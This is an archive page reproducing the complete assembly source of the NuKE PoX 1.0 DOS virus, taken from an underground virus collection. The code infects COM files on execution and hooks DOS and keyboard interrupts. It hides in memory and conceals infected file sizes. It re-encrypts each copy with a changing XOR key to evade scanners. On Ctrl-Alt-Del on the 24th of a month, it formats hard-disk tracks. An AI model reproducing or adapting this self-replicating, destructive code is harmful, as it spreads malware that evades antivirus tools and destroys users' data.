Underground

home *** CD-ROM | disk | FTP | other *** search

/ Underground / Underground CD1.iso / virii / zrodla / p / pox.asm < prev next >

Wrap

Assembly Source File | 1998-01-14 | 26.2 KB | 345 lines

;*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- ;-* (c) Rock Steady, Viral Developments -* ;*- (c) NuKE Software Developement 1991, 1992 *- ;-* Virus: NuKE PoX Version 1.0 (Alias `Mutating Rocko') -* ;*- ~~~~~~ *- ;-* Notes: COM Infector, Hooks Int 9h & Int 21h, Memory Stealthness -* ;*- ~~~~~~ Dir Stealthness (FCB Way), Encrypting Virus (100 different *- ;-* Encrypted Copies of the Virus) -* ;*- Bytes: 609 Bytes Memory: (609 * 2) = 1,218 Bytes *- ;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* crypt_size equ crypt - init_virus ;All that gets Incrypted virus_size equ last - init_virus ;Size of the Virus mut1 equ 3 mut2 equ 1 mut3 equ 103h del_code equ 53h ;CTRL-ATL-DEL Key seg_a segment byte public assume cs:seg_a, ds:seg_a org 100h rocko proc far start: jmp init_virus ;+3 bytes ;-*-*-*-*-*-*-*-*-[Start of Virus]*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- init_virus: call decrypt ;Decryption Routine Please ;+3 Bytes call doit_now ;Doit VirusMan... ;+3 Bytes ;======== doit_now: pop bp ;Anything ABOVE THIS LINE 9 Bytes sub bp,109h ;have to be added to the 100h! This push ax ;SETs our `Delta Pointer'. push bx push cx push dx ;Save registers push si push di push bp push es push ds mov ax,0abcdh ;Are we resident Already? int 21h cmp bx,0abcdh ;Yupe... Quit Then... je exit_com push cs ;Get CS=DS pop ds mov cx,es mov ax,3509h ;Hook Int 9 Please... int 21h mov word ptr cs:[int9+2][bp],es ;Save Orignal Int 9h mov word ptr cs:[int9][bp],bx ;Save Orignal Int 9h mov ax,3521h ;Some AVs may INTCEPT this Call! int 21h ;May be better to go Manually... mov word ptr cs:[int21+2][bp],es ;Save the Int mov word ptr cs:[int21][bp],bx ;Vector Table dec cx ;Get a new Memory block mov es,cx ;Put it Back to ES mov bx,es:mut1 mov dx,virus_size+virus_size ;Size to `Hide' mov cl,4 ;And all this crap hides shr dx,cl ;your number of bytes in DX add dx,4 mov cx,es sub bx,dx inc cx mov es,cx mov ah,4ah ;Call int to do it... int 21h jc exit_com mov ah,48h dec dx mov bx,dx ;It's Done... Yeah! int 21h jc exit_com dec ax mov es,ax mov cx,8h ;Here we move our Virus into mov es:mut2,cx ;the `Hidden' memory! sub ax,0fh mov di,mut3 mov es,ax mov si,bp add si,offset init_virus mov cx,virus_size cld repne movsb mov ax,2521h ;Restore Int21 with ours mov dx,offset int21_handler ;Where it starts push es pop ds int 21h mov ax,2509h ;Restore Int9 with ours mov dx,offset int9_handler ;The Handler... int 21h push cs pop ds exit_com: mov bx,offset buffer ; Its a COM file restore add bx,bp ; First three Bytes... mov ax,[bx] ; Mov the Byte to AX mov word ptr ds:[100h],ax ; First two bytes Restored add bx,2 ; Get the next Byte mov al,[bx] ; Move the Byte to AL mov byte ptr ds:[102h],al ; Restore the Last of 3 Byt pop ds pop es pop bp ; Restore Regesters pop di pop si pop dx pop cx pop bx pop ax mov ax,100h ; Jump Back to Beginning push ax ; Restores our IP (a CALL retn ; Saves them, now we change int21 dd ? ;Our Old Int21 int9 dd ? ;Our Old Int9 ;-*-*-*-*-*-*-*-*[Int 9h Handler]-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- int9_handler: push ax in al,60h ;Has the user attempted a cmp al,del_code ;CTRL-ALT-DEL je warm_reboot ;Yes! Screw him bye_bye: pop ax jmp dword ptr cs:[int9] ;Nope, Leave alone warm_reboot: mov ah,2ah ;Get Date Please int 21h cmp dl,18h ;Is it 24th of the Month? jne bye_bye ;Yes, bye_Bye HD mov ch,0 hurt_me: mov ah,05h mov dh,0 mov dl,80h ;Formats a few tracks... int 13h ;Hurts So good... inc ch cmp ch,20h loopne hurt_me db 0eah,0f0h,0ffh,0ffh,0ffh ;Reboot! iret ;-*-*-*-*-*-*-*-*-[Dir Stealth Handler]-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- dir_handler: pushf push cs call int21call ;Get file Stats test al,al ;Good FCB? jnz no_good ;nope push ax push bx push es mov ah,51h ;Is this Undocmented? huh... int 21h mov es,bx cmp bx,es:[16h] jnz not_infected ;Not for us man... mov bx,dx mov al,[bx] push ax mov ah,2fh ;Get file DTA int 21h pop ax inc al jnz fcb_okay add bx,7h fcb_okay: mov ax,es:[bx+17h] and ax,1fh ;UnMask Seconds Field xor al,1dh ;Is in 58 seconds? jnz not_infected ;Nope... and byte ptr es:[bx+17h],0e0h sub es:[bx+1dh],virus_size ;Yes minus virus size sbb es:[bx+1fh],ax not_infected:pop es pop bx pop ax no_good: iret ;-*-*-*-*-*-*-*-*[Int 21h Handler]*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- int21_handler: cmp ax,4b00h ;File executed je execute cmp ah,11h ;Dir handler je dir_handler cmp ah,12h ;Next file Dir handler je dir_handler cmp ax,0abcdh ;Virus testing jne int21call mov bx,0abcdh int21call: jmp dword ptr cs:[int21] ;Split... ret execute: push ax push bx push cx push dx push si push di push es push ds mov ax,4300h ;Get file Attribs int 21h jc exit test cl,1h ;Make sure there normal jz open_file ;Okay there are and cl,0feh ;Nope, Fix them... mov ax,4301h ;Save them now int 21h jc exit open_file: mov ax,3D02h int 21h ;Open File to Infect please jc exit ;Error Split mov bx,ax ;BX File handler mov ax,5700h ;Get file TIME + DATE int 21h mov al,cl or cl,1fh ;Un mask Seconds dec cx ;60 seconds dec cx ;58 seconds xor al,cl ;Is it 58 seconds? jz exit ;File already infected push cs pop ds mov word ptr ds:[old_time],cx ;Save Time mov word ptr ds:[old_date],dx ;Save Date mov ah,3Fh mov cx,3h mov dx,offset ds:[buffer] ;Read first 3 bytes int 21h jc exit_now ;Error Split mov ax,4202h ;Move file pointer to end xor cx,cx ;of file... xor dx,dx int 21h jc exit_now ;Error Split cmp word ptr cs:[buffer],5A4Dh ;Is file an EXE? je exit ;Yupe! Split mov cx,ax sub cx,3 ;Set the JMP mov word ptr cs:[jump_address+1],cx call infect_me ;Infect! jc exit_now ;error split mov ah,40h ;Write back the first 3 mov dx,offset ds:[jump_address] ;bytes mov cx,3h int 21h exit_now: mov cx,word ptr cs:[old_time] ;Restore old time mov dx,word ptr cs:[old_date] ;Restore Old date mov ax,5701h int 21h mov ah,3Eh int 21h ;Close File now... exit: pop ds pop es pop di pop si pop dx pop cx pop bx pop ax jmp dword ptr cs:[int21] ;Jmp back to whatever rocko endp ;-*-*-*-*-*-*-*-*-*[Infection Routine]*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- infect_me proc near mov ah,2ch ;Get Time int 21h push dx ;Split seconds to AX pop ax mov byte ptr cs:[value],al ;AL = 0 to 99 ;New Encryption Value mov cx,virus_size push cs pop es ;Copy ANOTHER copy of the mov si,offset init_virus ;Virus to the end of us mov di,offset last repne movsb mov cx,crypt_size sub cx,3h ;Encrypt that 2nd copy! push bp mov bp,offset last + 3h call decrypt_encrypt pop bp mov ah,40h ;Write the New Encrypted mov dx,offset last ;Virus to File! mov cx,virus_size int 21h jc exit_error ;Error Split mov ax,4200h xor cx,cx ;Pointer back to beginning xor dx,dx ;file! int 21h jc exit_error ;Split Dude... clc ;Clear carry flag retn exit_error: stc ;Set carry flag retn infect_me endp old_time dw ? old_date dw ? jump_address db 0E9h,90h,90h buffer db 90h,0CDh,020h crypt: msgs db "(c) Rock Steady/NuKE" ;No other than `Moi'... ;-*-*-*-*[Simple BUT EFFECTIVE Encryption/Decryption Routine]-*-*-*-*-*-*- decrypt proc near pop bp push bp mov al,byte ptr [value-106h][bp] ;Get new Encryption mov cx,crypt_size ;Value decrypt_encrypt: xor cs:[bp],al ;Fuck Scanners and put a inc bp ;`NOT AL' anywhere here... loop decrypt_encrypt retn value db 00h ;Encryption value! decrypt endp last: seg_a ends end start